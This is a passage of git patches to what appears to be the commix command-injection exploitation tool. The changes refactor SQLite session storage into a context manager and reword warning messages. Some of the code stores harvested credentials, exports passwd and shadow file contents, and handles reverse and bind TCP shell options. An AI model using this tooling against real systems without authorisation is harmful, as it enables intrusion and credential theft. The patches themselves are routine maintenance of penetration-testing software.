http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " - "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? LIMIT 1;") - - params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), - str(prefix), str(suffix), str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), - str(http_request_method), int(url_time_response), int(timesec), int(exec_time), - int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), - str(menu.options.tamper or "")) - - # URL-encode base64 padding in the URL field. - if settings.BASE64_PADDING in params[0]: - params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] - - cursor = conn.execute(query_check, params) - - # Insert new record only if no identical record exists - if cursor.fetchone() is None: - conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " - "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " - "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) - conn.commit() - - conn.close() + with _session_connection() as conn: + table = table_name(url) + "_ip" + + # Create the table if it does not exist + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " + "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " + "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR);") + + # Check if an exact matching record already exists to avoid duplicates + query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " + "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND alter_shell = ? AND payload = ? AND " + "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " + "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? LIMIT 1;") + + params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), + str(prefix), str(suffix), str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), + str(http_request_method), int(url_time_response), int(timesec), int(exec_time), + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), + str(menu.options.tamper or "")) + + # URL-encode base64 padding within the url field only, so it isn't + # mistaken for part of the URL structure itself. + if settings.BASE64_PADDING in params[0]: + params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] + + cursor = conn.execute(query_check, params) + + # Insert new record only if no identical record exists + if cursor.fetchone() is None: + conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " + "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + conn.commit() # Mark injection checker as True to indicate session contains injection data if not settings.INJECTION_CHECKER: @@ -227,20 +244,19 @@ def import_injection_points(url, technique, injection_type, filename, separator, """ def applied_techniques(url, http_request_method): techniques = [] - try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_ip" - query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - result = conn.execute(query, (table,)).fetchone() - if result: - query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" - cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() - for session in cursor: - technique_info = session[0] - techniques.append(technique_letter(technique_info)) - conn.close() - techniques = list(set(techniques)) - techniques = "".join(str(x) for x in techniques) + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" + result = conn.execute(query, (table,)).fetchone() + if result: + query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" + cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() + for session in cursor: + technique_info = session[0] + techniques.append(technique_letter(technique_info)) + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) return techniques except sqlite3.OperationalError: settings.LOAD_SESSION = None @@ -256,18 +272,17 @@ def applied_techniques(url, http_request_method): def applied_levels(url, http_request_method): level = settings.DEFAULT_INJECTION_LEVEL http_header = None - try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_ip" - query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" - result = conn.execute(query, (table,)).fetchone() - if result: - query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" - cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() - for session in cursor: - http_header = session[0] - level = int(session[1]) - conn.close() + try: + with _session_connection() as conn: + table = table_name(url) + "_ip" + query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" + result = conn.execute(query, (table,)).fetchone() + if result: + query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" + cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() + for session in cursor: + http_header = session[0] + level = int(session[1]) if http_header: if http_header == settings.COOKIE.lower(): level = settings.COOKIE_INJECTION_LEVEL @@ -296,44 +311,45 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if not table.isidentifier(): raise ValueError("Unsafe table name") - conn = sqlite3.connect(settings.SESSION_FILE) - cursor = conn.cursor() - - # Check if the table exists - cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) - if not cursor.fetchall(): - settings.LOAD_SESSION = None - return url, check_parameter - - # Fetch stored sessions for matching URL - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" - cursor.execute(query, (like_url,)) - sessions = cursor.fetchall() - - for session in sessions: - technique_info = session[2] - vuln_param = session[6] - http_header = session[12] - stored_method = session[13] - - # A stored point only applies to the exact parameter/method being tested. - if check_parameter not in (vuln_param, http_header) or stored_method != http_request_method: - continue - - technique = technique_letter(technique_info) - - if technique in menu.options.tech: - found = True - # Prefer more specific vulnerable parameter (e.g., HTTP header), if available - vuln_parameter = vuln_param or http_header - session_url = session[1] - - cookie = session[20] if len(session) > 20 else None - if cookie: - if settings.INJECT_TAG in cookie: - settings.COOKIE_INJECTION = True - menu.options.cookie = cookie + with _session_connection() as conn: + cursor = conn.cursor() + + # Check if the table exists + cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) + if not cursor.fetchall(): + settings.LOAD_SESSION = None + return url, check_parameter + + # Fetch stored sessions for matching URL + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" + cursor.execute(query, (like_url,)) + sessions = cursor.fetchall() + + for session in sessions: + technique_info = session[2] + vuln_param = session[6] + http_header = session[12] + stored_method = session[13] + + # A stored point only applies to the exact parameter/method being tested. + if check_parameter not in (vuln_param, http_header) or stored_method != http_request_method: + continue + + technique = technique_letter(technique_info) + + if len(menu.options.tech) == 0 or technique in menu.options.tech: + found = True + + # Prefer more specific vulnerable parameter (e.g., HTTP header), if available + vuln_parameter = vuln_param or http_header + session_url = session[1] + + cookie = session[20] if len(session) > 20 else None + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie if found: settings.LOAD_SESSION = True @@ -359,23 +375,23 @@ def check_stored_injection_points(url, check_parameter, http_request_method): def load_stored_techniques(url, check_parameter, http_request_method): stored = {} try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_ip" - cursor = conn.cursor() - cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) - if not cursor.fetchall(): - return stored - - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" - cursor.execute(query, (like_url, http_request_method)) - - for session in cursor.fetchall(): - row = session[1:] - technique, vuln_parameter, http_header = row[1], row[5], row[11] - if check_parameter not in (vuln_parameter, http_header): - continue - stored[technique] = row + with _session_connection() as conn: + table = table_name(url) + "_ip" + cursor = conn.cursor() + cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) + if not cursor.fetchall(): + return stored + + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" + cursor.execute(query, (like_url, http_request_method)) + + for session in cursor.fetchall(): + row = session[1:] + technique, vuln_parameter, http_header = row[1], row[5], row[11] + if check_parameter not in (vuln_parameter, http_header): + continue + stored[technique] = row return stored except sqlite3.OperationalError: return stored @@ -421,16 +437,15 @@ def apply_stored_technique(row): def store_cmd(url, cmd, shell, vuln_parameter): if all(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_ir" - conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " - "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - conn.execute("INSERT INTO \"" + table + "\" (cmd, output, vuln_parameter) VALUES (?, ?, ?)", - (base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode(), - base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode(), - vuln_parameter)) - conn.commit() - conn.close() + with _session_connection() as conn: + table = table_name(url) + "_ir" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") + conn.execute("INSERT INTO \"" + table + "\" (cmd, output, vuln_parameter) VALUES (?, ?, ?)", + (base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode(), + base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode(), + vuln_parameter)) + conn.commit() except (sqlite3.OperationalError, sqlite3.DatabaseError) as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except (TypeError, AttributeError): @@ -444,12 +459,11 @@ def store_cmd(url, cmd, shell, vuln_parameter): def export_stored_cmd(url, cmd, vuln_parameter): try: output = None - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_ir" - encoded_cmd = base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() - query = "SELECT output FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ?;" - cursor = conn.execute(query, (encoded_cmd, vuln_parameter)).fetchall() - conn.close() + with _session_connection() as conn: + table = table_name(url) + "_ir" + encoded_cmd = base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + query = "SELECT output FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ?;" + cursor = conn.execute(query, (encoded_cmd, vuln_parameter)).fetchall() for session in cursor: output = base64.b64decode(session[0]) try: @@ -465,21 +479,20 @@ def export_stored_cmd(url, cmd, vuln_parameter): """ def import_valid_credentials(url, authentication_type, admin_panel, username, password): try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_creds" - conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " - "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, " - "username VARCHAR, password VARCHAR);") - # Skip the insert if this exact credential is already stored, so repeated - # runs against the same target don't keep piling up identical rows. - cursor = conn.execute("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND authentication_type = ? AND " - "admin_panel = ? AND username = ? AND password = ? LIMIT 1;", - (url, authentication_type, admin_panel, username, password)) - if cursor.fetchone() is None: - conn.execute("INSERT INTO \"" + table + "\" (url, authentication_type, admin_panel, username, password) VALUES (?, ?, ?, ?, ?)", - (url, authentication_type, admin_panel, username, password)) - conn.commit() - conn.close() + with _session_connection() as conn: + table = table_name(url) + "_creds" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, " + "username VARCHAR, password VARCHAR);") + # Skip the insert if this exact credential is already stored, so repeated + # runs against the same target don't keep piling up identical rows. + cursor = conn.execute("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND authentication_type = ? AND " + "admin_panel = ? AND username = ? AND password = ? LIMIT 1;", + (url, authentication_type, admin_panel, username, password)) + if cursor.fetchone() is None: + conn.execute("INSERT INTO \"" + table + "\" (url, authentication_type, admin_panel, username, password) VALUES (?, ?, ?, ?, ?)", + (url, authentication_type, admin_panel, username, password)) + conn.commit() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except sqlite3.DatabaseError: @@ -491,12 +504,11 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa """ def export_valid_credentials(url, authentication_type): try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_creds" - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT username, password FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND authentication_type = ?;" - cursor = conn.execute(query, (like_url, authentication_type)).fetchall() - conn.close() + with _session_connection() as conn: + table = table_name(url) + "_creds" + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT username, password FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND authentication_type = ?;" + cursor = conn.execute(query, (like_url, authentication_type)).fetchall() if cursor: return ":".join(cursor[0]) except (sqlite3.OperationalError, sqlite3.DatabaseError): diff --git a/src/utils/settings.py b/src/utils/settings.py index 86e0e43a0e..c38ab158e8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "75" +REVISION = "76" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -802,6 +802,20 @@ class INJECTION_TECHNIQUE(object): USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False +# Raised by checks.handle_detection_interrupt() to unwind to the right point +# in the detection loop. +class SkipTechniqueException(Exception): + pass + +class EndDetectionPhaseException(Exception): + pass + +class NextParameterException(Exception): + pass + +class NextTargetException(Exception): + pass + # Default Scheme SCHEME = "" From d05add0141411b03eeacf98dbab11bfc47669f34 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 19 Aug 2026 07:50:38 +0300 Subject: [PATCH 0733/1023] Refactored UI messaging and improved output consistency --- src/core/injections/controller/checks.py | 88 +++++++++---------- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/handler.py | 2 +- src/core/injections/controller/injector.py | 8 +- src/core/injections/controller/parser.py | 12 +-- .../injections/controller/shell_options.py | 2 +- src/core/main.py | 20 ++--- src/core/modules/shellshock/shellshock.py | 2 +- src/core/requests/authentication.py | 4 +- src/core/requests/headers.py | 4 +- src/core/requests/parameters.py | 4 +- src/core/requests/requests.py | 19 ++-- src/core/requests/tor.py | 2 +- src/core/shells/bind_tcp.py | 8 +- src/core/shells/reverse_tcp.py | 8 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/space2plus.py | 4 +- src/utils/common.py | 18 ++-- src/utils/install.py | 8 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 4 +- src/utils/update.py | 14 +-- src/utils/version.py | 2 +- 24 files changed, 119 insertions(+), 122 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 086554d010..2ba9654e69 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -77,7 +77,7 @@ def exit(): """ def check_waf(url, http_request_method): payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) - info_msg = "Checking whether the target is protected by some kind of WAF/IPS." + info_msg = "Checking whether some kind of WAF/IPS is protecting the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) @@ -386,7 +386,7 @@ def user_aborted(filename, url): settings.clear_current_line() abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() - abort_msg += " phase (Ctrl-C was pressed)." + abort_msg += " phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) raise exit() @@ -395,7 +395,7 @@ def user_aborted(filename, url): """ def handle_detection_interrupt(filename, url): settings.clear_current_line() - warn_msg = "User aborted during the detection phase (Ctrl-C was pressed)." + warn_msg = "User aborted during the detection phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if settings.MULTI_TARGETS: msg = "How do you want to proceed? [ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(q)uit] > " @@ -425,7 +425,7 @@ def handle_early_interrupt(filename, url): if not settings.MULTI_TARGETS: user_aborted(filename, url) settings.clear_current_line() - warn_msg = "User aborted during the detection phase (Ctrl-C was pressed)." + warn_msg = "User aborted during the detection phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) msg = "How do you want to proceed? [ne(X)t target/(q)uit] > " choice = common.read_input(msg, default="X", check_batch=True) @@ -438,7 +438,7 @@ def handle_early_interrupt(filename, url): """ def handle_exploitation_interrupt(filename, url): settings.clear_current_line() - warn_msg = "User aborted during the exploitation phase (Ctrl-C was pressed)." + warn_msg = "User aborted during the exploitation phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) msg = "How do you want to proceed? [(C)ontinue/(q)uit] > " choice = common.read_input(msg, default="C", check_batch=True) @@ -570,7 +570,7 @@ def load_cmd_history(): except (IOError, AttributeError, UnicodeError) as e: warn_msg = "There was a problem loading the history file '" + cli_history + "'." if settings.IS_WINDOWS: - warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + warn_msg += " See 'https://github.com/pyreadline/pyreadline/issues/30' for more info." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -806,10 +806,10 @@ def process_page_content(response, action): # If there was an error, advise the user if error_occurred: - err_msg += "You are advised to rerun with " + err_msg += "Rerun with" if menu.options.codec is None: - err_msg += "out " - err_msg += "option '--codec'." + err_msg += "out" + err_msg += " option '--codec'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -823,7 +823,7 @@ def remove_reflected_values(html_data, payload): if decoded_payload and decoded_payload in html_data: if not settings.REFLECTIVE_VALUE_FOUND: settings.REFLECTIVE_VALUE_FOUND = True - warn_msg = "Target parameter value(s) appear to be reflected in the response - filtering reflected content." + warn_msg = "The response appears to reflect the target parameter value(s). Filtering reflected content." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) html_data = html_data.replace(decoded_payload, settings.SINGLE_WHITESPACE) return html_data @@ -844,7 +844,7 @@ def get_header(headers, key): """ def blocked_ip(page): if re.search(settings.BLOCKED_IP_REGEX, page): - warn_msg = "It appears that you have been blocked by the target server." + warn_msg = "It appears the target server has blocked you." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ @@ -899,7 +899,7 @@ def check_for_false_positive_result(false_positive_warning): def unexploitable_point(retry_attempt=None, retry_total=None): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point has been detected. Trying for re-verification" + warn_msg = "Detected a false positive or unexploitable injection point. Trying for re-verification" warn_msg += (" (" + str(retry_attempt) + "/" + str(retry_total) + ").") if retry_attempt else "." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) @@ -1075,7 +1075,7 @@ def continue_tests(err): str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ not menu.options.skip_waf and \ not settings.HOST_INJECTION : - warn_msg = "It seems the target is protected by some kind of WAF/IPS." + warn_msg = "It seems some kind of WAF/IPS is protecting the target." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True @@ -1296,7 +1296,7 @@ def check_connection(url): raise SystemExit() except (socket.error, UnicodeError) as e: err_msg = "Problem occurred while " - err_msg += "resolving a host name '" + hostname + "'" + err_msg += "resolving the hostname '" + hostname + "'" if not settings.MULTI_TARGETS: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1313,7 +1313,7 @@ def user_defined_os(): return True else: err_msg = "You defined an invalid value '" + menu.options.os + "' " - err_msg += "for operation system. The value, must be 'Windows' or 'Unix'." + err_msg += "for the operating system. The value must be 'Windows' or 'Unix'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1351,8 +1351,8 @@ def define_target_os(): """ def identified_os(): if settings.IGNORE_IDENTIFIED_TARGET_OS == None: - warn_msg = "Identified different operating system (i.e. '" - warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')." + warn_msg = "Identified a different operating system (i.e. '" + warn_msg += settings.TARGET_OS.title() + "') than the one you defined (i.e. '" + menu.options.os.title() + "')." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) message = "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="S", check_batch=True) @@ -1392,15 +1392,15 @@ def third_party_dependencies(): try: import pyreadline except ImportError: - err_msg = "The 'pyreadline' (third-party) library is required " - err_msg += "to enable TAB completion and history support features." + err_msg = "TAB completion and history support features require " + err_msg += "the 'pyreadline' (third-party) library." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif settings.PLATFORM == "posix": try: import gnureadline except ImportError: - err_msg = "The 'gnureadline' (third-party) library is required " - err_msg += "to enable TAB completion and history support features." + err_msg = "TAB completion and history support features require " + err_msg += "the 'gnureadline' (third-party) library." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass @@ -1536,7 +1536,7 @@ def time_related_attaks_msg(): Check if defined "--url-reload" option. """ def reload_url_msg(technique): - warn_msg = "On the " + technique + "technique, the '--url-reload' option is not available." + warn_msg = "On the " + technique + " technique, the '--url-reload' option is not available." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2163,13 +2163,11 @@ def perform_payload_modification(payload): Skip parameters when the provided value is empty. """ def skip_empty(empty_parameters, http_request_method): - warn_msg = "The " + http_request_method + warn_msg = "Skipped the " + http_request_method warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] - warn_msg += " '" + empty_parameters + "'" - warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1] - warn_msg += "been skipped from testing" - warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." + warn_msg += " '" + empty_parameters + "' from testing" + warn_msg += " because you specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -2209,7 +2207,7 @@ def no_parameters_found(): err_msg = "No parameter(s) found for testing in the provided data " err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). " if not menu.options.crawldepth: - err_msg += "You are advised to rerun with '--crawl=2'." + err_msg += "Rerun with '--crawl=2'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -2264,8 +2262,8 @@ def is_empty(multi_parameters, http_request_method): warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] warn_msg += " '" + empty_parameters + "'" warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " - warn_msg += "You are advised to use only valid values, so " + settings.APPLICATION - warn_msg += " could be able to run properly." + warn_msg += "Use only valid values, so " + settings.APPLICATION + warn_msg += " can run properly." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False @@ -2396,7 +2394,7 @@ def print_ps_version(ps_version, filename, _): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) except ValueError: warn_msg = "Failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." + warn_msg += "which means some payloads or injection techniques may fail." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False ps_check_failed() @@ -2572,7 +2570,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + warn_msg += "not in the appropriate format. Thus, exporting it as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() settings.print_data_to_stdout(sys_users) @@ -2638,7 +2636,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi except ValueError: if count == 1 : warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." + warn_msg += "appropriate format. Thus, exporting it as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) settings.print_data_to_stdout(sys_users) @@ -2693,7 +2691,7 @@ def print_passes(sys_passes, filename, _, alter_shell): except IndexError: if count == 1 : warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + warn_msg += "in the appropriate format. Thus, exporting it as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.print_data_to_stdout(fields[0]) with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: @@ -2853,7 +2851,7 @@ def file_read_status(shell, file_to_read, filename): info_msg += file_to_read + "' : " + shell + settings.END_LINE.LF output_file.write(re.compile(settings.ANSI_COLOR_REMOVAL).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "No content was retrieved for the file '" + file_to_read + "'. " + warn_msg = "Retrieved no content for the file '" + file_to_read + "'. " warn_msg += "This could mean the file does not exist, is empty, or you do not have permission to read it." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2936,16 +2934,16 @@ def define_vulnerable_http_header(http_header_name): def check_wrong_flags(): if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.is_root : - warn_msg = "Switching '--is-root' to '--is-admin' because the " - warn_msg += "target has been identified as Windows." + warn_msg = "Identified the target as Windows. Switching " + warn_msg += "'--is-root' to '--is-admin'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.passwords: warn_msg = "The '--passwords' option is not yet supported on Windows targets." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: if menu.options.is_admin : - warn_msg = "Switching '--is-admin' to '--is-root' because " - warn_msg += "the target has been identified as Unix-like. " + warn_msg = "Identified the target as Unix-like. Switching " + warn_msg += "'--is-admin' to '--is-root'. " settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -3264,7 +3262,7 @@ def windows_only_attack_vector(): def msf_launch_msg(output): info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." + info_msg = "Once the loading finishes, press any key here to continue..." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) sys.stdin.readline().replace(settings.END_LINE.LF, "") # Remove the ouput file. @@ -3275,7 +3273,7 @@ def msf_launch_msg(output): """ def shell_options(option): if option.lower() == "reverse_tcp" or option.lower() == "bind_tcp" : - warn_msg = "You are into the '" + option.lower() + "' mode." + warn_msg = "You are in the '" + option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() @@ -3285,15 +3283,15 @@ def shell_options(option): elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": if option.lower() == "bind_tcp": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for '" + option.lower() + "' mode. Use 'RHOST' option." + err_msg = "The '" + option[4:9].upper() + "' option is not " + err_msg += "usable for '" + option.lower() + "' mode. Use the 'RHOST' option." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) else: check_lhost(option[10:]) if option[4:10].lower() == "rhost ": if option.lower() == "reverse_tcp": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for '" + option.lower() + "' mode. Use 'LHOST' option." + err_msg = "The '" + option[4:9].upper() + "' option is not " + err_msg += "usable for '" + option.lower() + "' mode. Use the 'LHOST' option." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) else: check_rhost(option[10:]) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index a71d51d28a..3dadb8e84b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -418,7 +418,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time 